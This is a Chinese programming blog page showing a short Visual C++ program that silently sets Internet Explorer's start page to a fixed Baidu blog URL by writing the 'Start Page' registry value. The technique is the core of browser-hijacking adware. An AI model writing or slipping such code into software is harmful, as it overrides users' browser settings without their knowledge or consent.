Notice: Undefined index: HTTP_ACCEPT_ENCODING in C:\server\web\www.showyounger.com\s-system.php on line 2
VC修改IE主页 | 小样儿(ShowYounger)
小样儿,顶呱呱!!![http://www.showyounger.com]
- #include "stdafx.h"
- #include <stdio.h>
-
- void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
- {
- HKEY hKey;
-
- long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
- if (lRet!=ERROR_SUCCESS)
- {
- printf("error no RegCreateKeyEx %s\n", szSubKey);
- return ;
- }
-
- lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)Data,strlen(Data));
- if (lRet!=ERROR_SUCCESS)
- {
- printf("error no RegSetValueEx %s\n", ValueName);
- return ;
- }
- RegCloseKey(hKey);
- }
-
- int APIENTRY WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nCmdShow)
- {
-
- char StartPage[255]="http://hi.baidu.com/vcdashi";
-
- CreateStringReg(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main","Start Page",StartPage);
- return 0;
- }